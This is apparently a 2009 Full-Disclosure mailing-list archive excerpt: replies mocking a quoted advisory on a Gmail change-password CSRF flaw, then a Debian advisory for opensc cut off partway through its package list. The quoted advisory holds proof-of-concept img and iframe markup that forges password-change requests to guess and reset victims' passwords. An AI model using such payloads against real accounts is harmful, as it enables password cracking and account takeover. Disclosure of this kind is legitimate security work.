>>>> On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks
>>><jstarks440 at gmail.com>
>>>> wrote:
>>>> > I know, its insane. It is a new trend, though, just like
>>>people
>>>> registering
>>>> > gmail accounts just to flame and troll on FD!
>>>> >
>>>> > Its like, your credability like, goes like, ok you start
>like
>>>at 0, and
>>>> then
>>>> > like, it goes like to -1, and like, then even lower like.
>>>> >
>>>> > Absolutely genius.
>>>> >
>>>> > x0x0x0x0x0x0x0x0x0x
>>>> >
>>>> > On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee
>>><biz.marqee at gmail.com> wrote:
>>>> >>
>>>> >> This was 2 years well spent... NOT!
>>>> >>
>>>> >> Seriously what is with all these people popping up
>releasing
>>>advisories
>>>> >> that are absolute SHIT? Is it to try and get jobs or what?
>>>> >>
>>>> >>
>>>> >> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security
>>>Advisories <
>>>> >> advisories at isecauditors.com> wrote:
>>>> >>
>>>> >> > =============================================
>>>> >> > INTERNET SECURITY AUDITORS ALERT 2007-003
>>>> >> > - Original release date: August 1st, 2007
>>>> >> > - Last revised: January 11th, 2009
>>>> >> > - Discovered by: Vicente Aguilera Diaz
>>>> >> > - Severity: 3/5
>>>> >> > =============================================
>>>> >> >
>>>> >> > I. VULNERABILITY
>>>> >> > -------------------------
>>>> >> > CSRF vulnerability in GMail service
>>>> >> >
>>>> >> > II. BACKGROUND
>>>> >> > -------------------------
>>>> >> > Gmail is Google's free webmail service. It comes with
>built-
>>>in Google
>>>> >> > search technology and over 2,600 megabytes of storage
>(and
>>>growing
>>>> >> > every day). You can keep all your important messages,
>files
>>>and
>>>> >> > pictures forever, use search to quickly and easily find
>>>anything
>>>> >> > you're looking for, and make sense of it all with a new
>way
>>>of viewing
>>>> >> > messages as part of conversations.
>>>> >> >
>>>> >> > III. DESCRIPTION
>>>> >> > -------------------------
>>>> >> > Cross-Site Request Forgery, also known as one click
>attack
>>>or session
>>>> >> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a
>>>kind of
>>>> >> > malicious exploit of websites. Although this type of
>attack
>>>has
>>>> >> > similarities to cross-site scripting (XSS), cross-site
>>>scripting
>>>> >> > requires the attacker to inject unauthorized code into a
>>>website,
>>>> >> > while cross-site request forgery merely transmits
>>>unauthorized
>>>> >> > commands from a user the website trusts.
>>>> >> >
>>>> >> > GMail is vulnerable to CSRF attacks in the "Change
>>>Password"
>>>> >> > functionality. The only token for authenticate the user
>is
>>>a session
>>>> >> > cookie, and this cookie is sent automatically by the
>>>browser in every
>>>> >> > request.
>>>> >> >
>>>> >> > An attacker can create a page that includes requests to
>the
>>>"Change
>>>> >> > password" functionality of GMail and modify the passwords
>>>of the users
>>>> >> > who, being authenticated, visit the page of the attacker.
>>>> >> >
>>>> >> > The attack is facilitated since the "Change Password"
>>>request can be
>>>> >> > realized across the HTTP GET method instead of the POST
>>>method that is
>>>> >> > realized habitually across the "Change Password" form.
>>>> >> >
>>>> >> > IV. PROOF OF CONCEPT
>>>> >> > -------------------------
>>>> >> > 1. An attacker create a web page "csrf-attack.html" that
>>>realize many
>>>> >> > HTTP GET requests to the "Change Password" functionality.
>>>> >> >
>>>> >> > For example, a password cracking of 3 attempts (see
>>>"OldPasswd"
>>>> >> > parameter):
>>>> >> > ...
>>>> >> > <img
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > <img
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > <img
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > ...
>>>> >> >
>>>> >> > or with hidden frames:
>>>> >> > ...
>>>> >> > <iframe
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > <iframe
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > <iframe
>>>> >> > src="
>>>> >> >
>>>> >> >
>>>>
>>>https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&g
>ro
>>>up1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc12
>3&
>>>p=&save=Save
>>>> >> > ">
>>>> >> > ...
>>>> >> >
>>>> >> > The attacker can use deliberately a weak new password
>(see
>>>"Passwd"
>>>> >> > and "PasswdAgain" parameters), this way he can know if
>the
>>>analysed
>>>> >> > password is correct without need to modify the password
>of
>>>the victim
>>>> >> > user.
>>>> >> >
>>>> >> > Using weak passwords the "Change Password" response is:
>>>> >> >  - " The password you gave is incorrect. ", if the
>analysed
>>>password
>>>> >> > is not correct.
>>>> >> >  - " We're sorry, but you've selected an insecure
>password.
>>>In order
>>>> >> > to protect the security of your account, please click
>>>"Password
>>>> >> > Strength" to get tips on choosing to safer password. ",
>if
>>>the
>>>> >> > analysed password is correct and the victim password is
>not
>>>modified.
>>>> >> >
>>>> >> > If the attacker want to modify the password of the victim
>>>user, the
>>>> >> > waited response message is: " Your new password has been
>>>saved - OK ".
>>>> >> >
>>>> >> > In any case, the attacker evades the restrictions imposed
>>>by the
>>>> >> > captcha of the authentication form.
>>>> >> >
>>>> >> > 2. A user authenticated in GMail visit the "csrf-
>>>attack.html" page
>>>> >> > controlled by the attacker.
>>>> >> >
>>>> >> > For example, the attacker sends a mail to the victim (a
>>>GMail account)
>>>> >> > and provokes that the victim visits his page (social
>>>engineering). So,
>>>> >> > the attacker insures himself that the victim is
>>>authenticated.
>>>> >> >
>>>> >> > 3. The password cracking is executed transparently to the
>>>victim.
>>>> >> >
>>>> >> > V. BUSINESS IMPACT
>>>> >> > -------------------------
>>>> >> > - Selective DoS on users of the GMail service (changing
>>>user
>>>> password).
>>>> >> > - Possible access to the mail of other GMail users.
>>>> >> >
>>>> >> > VI. SYSTEMS AFFECTED
>>>> >> > -------------------------
>>>> >> > Gmail service.
>>>> >> >
>>>> >> > VII. SOLUTION
>>>> >> > -------------------------
>>>> >> > No solution provided by vendor.
>>>> >> >
>>>> >> > VIII. REFERENCES
>>>> >> > -------------------------
>>>> >> > http://www.gmail.com
>>>> >> >
>>>> >> > IX. CREDITS
>>>> >> > -------------------------
>>>> >> > This vulnerability has been discovered and reported by
>>>> >> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot)
>>>com).
>>>> >> >
>>>> >> > X. REVISION HISTORY
>>>> >> > -------------------------
>>>> >> > July      31, 2007: Initial release
>>>> >> > August     1, 2007: Fewer corrections.
>>>> >> > December  30, 2008: Last details.
>>>> >> >
>>>> >> > XI. DISCLOSURE TIMELINE
>>>> >> > -------------------------
>>>> >> > July      30, 2007: Vulnerability acquired by
>>>> >> >                    Internet Security Auditors.
>>>> >> > August     1, 2007: Initial notification sent to the
>>>> >> >                    Google security team.
>>>> >> > August     1, 2007: Google security team request
>additional
>>>> >> >                    information.
>>>> >> >                    about and start review the
>>>vulnerability.
>>>> >> > August    13, 2007: Request information about the status.
>>>> >> > August    15, 2007: Google security team responds that
>they
>>>are still
>>>> >> >                    working on this.
>>>> >> > September 19, 2007: Request for the status. No response.
>>>> >> > November  26, 2007: Request for the status. No response.
>>>> >> > January    2, 2008: Request for the status. No response.
>>>> >> > January    4, 2008: Request for the status. No response.
>>>> >> > January   11, 2008: Request for the status. No response.
>>>> >> > January   15, 2008: Request for the status. Automated
>>>response.
>>>> >> > January   18, 2008: Google security team informs that
>don't
>>>expect
>>>> >> >                    behaviour to change in the short term
>>>giving
>>>> >> >                    the justification.
>>>> >> >                    We deconstruct those arguments as
>>>insufficient.
>>>> >> >                    No more responses.
>>>> >> > December  30, 2008: Request for the status. Confirmation
>>>from Google
>>>> >> >                    they won't change the consideration
>>>about this.
>>>> >> > January   11, 2009: Publication to Bugtraq. Rejected
>twice.
>>>> >> >                    No reasons.
>>>> >> > March     03, 2009: General publication for disclosure in
>>>other lists.
>>>> >> >
>>>> >> > XII. LEGAL NOTICES
>>>> >> > -------------------------
>>>> >> > The information contained within this advisory is
>supplied
>>>"as-is"
>>>> >> > with no warranties or guarantees of fitness of use or
>>>otherwise.
>>>> >> > Internet Security Auditors accepts no responsibility for
>>>any damage
>>>> >> > caused by the use or misuse of this information.
>>>> >> >
>>>> >> > _______________________________________________
>>>> >> > Full-Disclosure - We believe in it.
>>>> >> > Charter: http://lists.grok.org.uk/full-disclosure-
>>>charter.html
>>>> >> > Hosted and sponsored by Secunia - http://secunia.com/
>>>> >> >
>>>> >>
>>>> >> _______________________________________________
>>>> >> Full-Disclosure - We believe in it.
>>>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>>>charter.html
>>>> >> Hosted and sponsored by Secunia - http://secunia.com/
>>>> >
>>>> >
>>>> > _______________________________________________
>>>> > Full-Disclosure - We believe in it.
>>>> > Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>>>> > Hosted and sponsored by Secunia - http://secunia.com/
>>>> >
>>>>
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmvIAQACgkQhNp8gzZx3sifPQP/Z/JwoxHfL+/YWIumE6ohkDzHigc
>M
>>
>FFMGnJtPy1PUYahP2Kkq4oBUiFgNsqWsBjvNnp+hrILgO6w73OasuLZQSvYX7hCMK8k
>1
>>
>eK7r0H5fjSlqoRhkJSGhgBDL4H7q1nMrkr0x4zGO7Jeeeq8DuU23x2A1UvnJCE+RAo6
>5
>> vFaHNwE=
>> =uYwk
>> -----END PGP SIGNATURE-----
>>
>> --
>> Click to find information on your credit score and your credit
>report.
>>
>http://tagline.hushmail.com/fc/BLSrjkqeNwyn7W35g2EhsFTPSKje8aswj4QT
>ZvrXUmflUijsGrXajBFpRZG/
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmvJVcACgkQhNp8gzZx3siNoAP/TSO6qJuQJQtmYHF07iGl8er0PaWH
Ex1h8pgn5VsRfLR8csI1u5wO7KaUfB3xOyVDhhXecDqjqlleVg/tmipFSYdxMrGQ9M/S
nPfw6hbOmRNHeq4Eb4YPtom3TDqQL/UCNZ3TQqX0Cs596qwWq6L3xAKIYFUF0YQU75ww
/WW0y/k=
=u4xa
-----END PGP SIGNATURE-----

--
Click to get your online credit check report &amp; score.
 http://tagline.hushmail.com/fc/BLSrjkqeMi6a6MD4j780sX3er6QPy2RyA1vqHrpNmPLz9Ty6hgD1SQwVDKw/



From scarybeasts at gmail.com  Thu Mar  5 03:07:53 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Wed, 4 Mar 2009 19:07:53 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
References: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
Message-ID: <72daeffd0903041907p57e1f124hd9cdec43e79385d6@mail.gmail.com>

On Tue, Mar 3, 2009 at 3:28 PM, Biz Marqee <biz.marqee at gmail.com> wrote:
> This was 2 years well spent... NOT!
>
> Seriously what is with all these people popping up releasing advisories that
> are absolute SHIT? Is it to try and get jobs or what?

I worry it's only going to get worse as the economy gets worse.

>
>
> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
> advisories at isecauditors.com> wrote:
>
>> =============================================
>> INTERNET SECURITY AUDITORS ALERT 2007-003
>> - Original release date: August 1st, 2007
>> - Last revised: January 11th, 2009
>> - Discovered by: Vicente Aguilera Diaz
>> - Severity: 3/5
>> =============================================
>>
>> I. VULNERABILITY
>> -------------------------
>> CSRF vulnerability in GMail service
>>
>> II. BACKGROUND
>> -------------------------
>> Gmail is Google's free webmail service. It comes with built-in Google
>> search technology and over 2,600 megabytes of storage (and growing
>> every day). You can keep all your important messages, files and
>> pictures forever, use search to quickly and easily find anything
>> you're looking for, and make sense of it all with a new way of viewing
>> messages as part of conversations.
>>
>> III. DESCRIPTION
>> -------------------------
>> Cross-Site Request Forgery, also known as one click attack or session
>> riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
>> malicious exploit of websites. Although this type of attack has
>> similarities to cross-site scripting (XSS), cross-site scripting
>> requires the attacker to inject unauthorized code into a website,
>> while cross-site request forgery merely transmits unauthorized
>> commands from a user the website trusts.
>>
>> GMail is vulnerable to CSRF attacks in the "Change Password"
>> functionality. The only token for authenticate the user is a session
>> cookie, and this cookie is sent automatically by the browser in every
>> request.
>>
>> An attacker can create a page that includes requests to the "Change
>> password" functionality of GMail and modify the passwords of the users
>> who, being authenticated, visit the page of the attacker.
>>
>> The attack is facilitated since the "Change Password" request can be
>> realized across the HTTP GET method instead of the POST method that is
>> realized habitually across the "Change Password" form.
>>
>> IV. PROOF OF CONCEPT
>> -------------------------
>> 1. An attacker create a web page "csrf-attack.html" that realize many
>> HTTP GET requests to the "Change Password" functionality.
>>
>> For example, a password cracking of 3 attempts (see "OldPasswd"
>> parameter):
>> ...
>> <img
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> <img
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> <img
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> ...
>>
>> or with hidden frames:
>> ...
>> <iframe
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> <iframe
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> <iframe
>> src="
>>
>> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> ">
>> ...
>>
>> The attacker can use deliberately a weak new password (see "Passwd"
>> and "PasswdAgain" parameters), this way he can know if the analysed
>> password is correct without need to modify the password of the victim
>> user.
>>
>> Using weak passwords the "Change Password" response is:
>>? - " The password you gave is incorrect. ", if the analysed password
>> is not correct.
>>? - " We're sorry, but you've selected an insecure password. In order
>> to protect the security of your account, please click "Password
>> Strength" to get tips on choosing to safer password. ", if the
>> analysed password is correct and the victim password is not modified.
>>
>> If the attacker want to modify the password of the victim user, the
>> waited response message is: " Your new password has been saved - OK ".
>>
>> In any case, the attacker evades the restrictions imposed by the
>> captcha of the authentication form.
>>
>> 2. A user authenticated in GMail visit the "csrf-attack.html" page
>> controlled by the attacker.
>>
>> For example, the attacker sends a mail to the victim (a GMail account)
>> and provokes that the victim visits his page (social engineering). So,
>> the attacker insures himself that the victim is authenticated.
>>
>> 3. The password cracking is executed transparently to the victim.
>>
>> V. BUSINESS IMPACT
>> -------------------------
>> - Selective DoS on users of the GMail service (changing user password).
>> - Possible access to the mail of other GMail users.
>>
>> VI. SYSTEMS AFFECTED
>> -------------------------
>> Gmail service.
>>
>> VII. SOLUTION
>> -------------------------
>> No solution provided by vendor.
>>
>> VIII. REFERENCES
>> -------------------------
>> http://www.gmail.com
>>
>> IX. CREDITS
>> -------------------------
>> This vulnerability has been discovered and reported by
>> Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>>
>> X. REVISION HISTORY
>> -------------------------
>> July????? 31, 2007: Initial release
>> August???? 1, 2007: Fewer corrections.
>> December? 30, 2008: Last details.
>>
>> XI. DISCLOSURE TIMELINE
>> -------------------------
>> July????? 30, 2007: Vulnerability acquired by
>>??????????????????? Internet Security Auditors.
>> August???? 1, 2007: Initial notification sent to the
>>??????????????????? Google security team.
>> August???? 1, 2007: Google security team request additional
>>??????????????????? information.
>>??????????????????? about and start review the vulnerability.
>> August??? 13, 2007: Request information about the status.
>> August??? 15, 2007: Google security team responds that they are still
>>??????????????????? working on this.
>> September 19, 2007: Request for the status. No response.
>> November? 26, 2007: Request for the status. No response.
>> January??? 2, 2008: Request for the status. No response.
>> January??? 4, 2008: Request for the status. No response.
>> January?? 11, 2008: Request for the status. No response.
>> January?? 15, 2008: Request for the status. Automated response.
>> January?? 18, 2008: Google security team informs that don't expect
>>??????????????????? behaviour to change in the short term giving
>>??????????????????? the justification.
>>??????????????????? We deconstruct those arguments as insufficient.
>>??????????????????? No more responses.
>> December? 30, 2008: Request for the status. Confirmation from Google
>>??????????????????? they won't change the consideration about this.
>> January?? 11, 2009: Publication to Bugtraq. Rejected twice.
>>??????????????????? No reasons.
>> March???? 03, 2009: General publication for disclosure in other lists.
>>
>> XII. LEGAL NOTICES
>> -------------------------
>> The information contained within this advisory is supplied "as-is"
>> with no warranties or guarantees of fitness of use or otherwise.
>> Internet Security Auditors accepts no responsibility for any damage
>> caused by the use or misuse of this information.
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From thijs at debian.org  Thu Mar  5 08:57:51 2009
From: thijs at debian.org (Thijs Kinkhorst)
Date: Thu,  5 Mar 2009 09:57:51 +0100 (CET)
Subject: [Full-disclosure] [SECURITY] [DSA 1734-1] New opensc packages fix
	information disclosure
Message-ID: <20090305080521.72F90326947@morgana.loeki.tv>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1734-1                  security at debian.org
http://www.debian.org/security/                          Thijs Kinkhorst
March 05, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : opensc
Vulnerability  : programming error
Problem type   : local
Debian-specific: no
CVE Id(s)      : CVE-2009-0368

b.badrignans discovered that OpenSC, a set of smart card utilities,
could stores private data on a smart card without proper access
restrictions.

Only blank cards initialised with OpenSC are affected by this problem.
This update only improves creating new private data objects, but cards
already initialised with such private data objects need to be
modified to repair the access control conditions on such cards.
Instructions for a variety of situations can be found at the OpenSC
web site: http://www.opensc-project.org/security.html

The oldstable distribution (etch) is not affected by this problem.

For the stable distribution (lenny), this problem has been fixed in
version 0.11.4-5+lenny1.

For the unstable distribution (sid), this problem wil be fixed soon.

We recommend that you upgrade your opensc package and recreate any
private data objects stored on your smart cards.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Source archives:

  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1.dsc
    Size/MD5 checksum:     1333 a6a3c786d70bba230912db8550321b74
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1.diff.gz
    Size/MD5 checksum:    59733 5c19aa261ca11caeb9b46defe3a31754
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4.orig.tar.gz
    Size/MD5 checksum:  1410650 2031aa617be609d50d014d5d370bb8a2

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_alpha.deb
    Size/MD5 checksum:   172210 4c13e02bdae7b31e03c07c77114ba7c5
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_alpha.deb
    Size/MD5 checksum:  1425142 7de474eeba7f7c4d7c4ea720ce35a113
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_alpha.deb
    Size/MD5 checksum:   617062 71bb9f5faf9dec5fb628f60d72a1f32c
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_alpha.deb
    Size/MD5 checksum:   395886 5f611a12bb340abcecd753ce9a0a9f7d
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_alpha.deb
    Size/MD5 checksum:  1244884 e4fd99a2cdd5822eeb3c27200bdeabf4

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_amd64.deb
    Size/MD5 checksum:   170424 797bf32516f3c8bf2784a40b3ea4b69b
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_amd64.deb
    Size/MD5 checksum:   600140 b426f75de39097f951edbb6beb267faf
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_amd64.deb
    Size/MD5 checksum:  1220570 9fac7d931102a13759ff27ca3e63886f
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_amd64.deb
    Size/MD5 checksum:  1250976 348819662c1e6d0f856468f57f963bef
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_amd64.deb
    Size/MD5 checksum:   385876 e82572802a8f5297d4b231510d66a703

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_arm.deb
    Size/MD5 checksum:   553454 d2f2216d33649da2dedd0695f15df2bf
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_arm.deb
    Size/MD5 checksum:   164808 0a97588a633ef6fd02a7d8b7c42f75c9
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_arm.deb
    Size/MD5 checksum:  1192088 36f02f0adf21ff6681cb0fc82ed70bd0
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_arm.deb
    Size/MD5 checksum:   373220 4d994a576b5727bdd255977d0618ad4f
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_arm.deb
    Size/MD5 checksum:  1082568 27a17ba27333f92ec57c4610c9332eb2

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_armel.deb
    Size/MD5 checksum:  1194564 4be8b8833593141ec3e001165687a157
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_armel.deb
    Size/MD5 checksum:   369484 b8de7da5f2f0b6d54db89f9e3a19d160
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_armel.deb
    Size/MD5 checksum:   165046 9653c45b02a720ccdbb34856fd3a76b1
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_armel.deb
    Size/MD5 checksum:   554712 b2773b917fa2e0bc309fd458c0fea985
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_armel.deb
    Size/MD5 checksum:  1090686 475492b51137ee7a91601c179b077bf4

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_i386.deb
    Size/MD5 checksum:  1088224 11cb33b66522a8f90a4dffbb1c759cbe
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_i386.deb
    Size/MD5 checksum:   168202 46bb9b184aee6a8b8a8b585339baf872
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_i386.deb
    Size/MD5 checksum:   370748 1b61f2a6158c92d54209de0846604ed2
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_i386.deb
    Size/MD5 checksum:  1193874 8901246b5fd2aefd2160fd173090f19b
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_i386.deb
    Size/MD5 checksum:   552886 46c25a7402174e76930ffeb6f398f040

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_ia64.deb
    Size/MD5 checksum:   450212 553319b58affb12649c97fd1d37e8f8e
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_ia64.deb
    Size/MD5 checksum:  1191394 17eb91686da2e1981c2915a6bd5bc584
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_ia64.deb
    Size/MD5 checksum:   181174 837b37ae471abef686d1e4bbcae8e23d
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_ia64.deb
    Size/MD5 checksum:   764982 0da3fd6cbf96bd50c4be097b7db65648
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_ia64.deb
    Size/MD5 checksum:  1468110 ad9ce50c292f3e7ece834e698906044c

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_mips.deb
    Size/MD5 checksum:   552488 ec12157337de83c661021aee7125db85
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_mips.deb
    Size/MD5 checksum:   166188 1eb9628b793ef050d1236cc9e4d4d532
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_mips.deb
    Size/MD5 checksum:  1264080 684081bb05cb738cdf3e4b70b050565a
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_mips.deb
    Size/MD5 checksum:   377328 4968819d61a98db60aeb9bd5f07f49b1
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_mips.deb
    Size/MD5 checksum:  1254718 156a199d51fe78218b4538449b1d3900

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_mipsel.deb
    Size/MD5 checksum:   550368 3aa883498240d28dc669804f28fe80a9
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_mipsel.deb
    Size/MD5 checksum:   377668 cb0740488998e4f703c015260f209f85
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_mipsel.deb
    Size/MD5 checksum:  1235814 c61ddb25efc7625fece5c1f726ad5ed6
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_mipsel.deb
    Size/MD5 checksum:   166032 f673d0d05f0acc00ef26ddab2b3ae018
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_mipsel.deb
    Size/MD5 checksum:  1247014 01e37c41e5aff2e4e41a5a76cab2d746

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dev_0.11.4-5+lenny1_powerpc.deb
    Size/MD5 checksum:  1281994 f6ff6e01ea9a89ff80dfa3988972a716
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_powerpc.deb
    Size/MD5 checksum:  1253656 53557381f96bfce43e16d4652e9d445b
  http://security.debian.org/pool/updates/main/o/opensc/opensc_0.11.4-5+lenny1_powerpc.deb
    Size/MD5 checksum:   408656 d56d8d461f12cd491d373262eb1e6c07
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_powerpc.deb
    Size/MD5 checksum:   171890 b5407ebd8e0b7b834ced0d23dc9060e8
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_powerpc.deb
    Size/MD5 checksum:   597100 c73b0856c446c730cb4b7a7f9c51b3eb

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/o/opensc/libopensc2_0.11.4-5+lenny1_s390.deb
    Size/MD5 checksum:   594044 061ccf2f3690bae30a1493a9b1b54fcf
  http://security.debian.org/pool/updates/main/o/opensc/mozilla-opensc_0.11.4-5+lenny1_s390.deb
    Size/MD5 checksum:   171064 de877a46c93397604a33439eeb4da6c1
  http://security.debian.org/pool/updates/main/o/opensc/libopensc2-dbg_0.11.4-5+lenny1_s390.deb
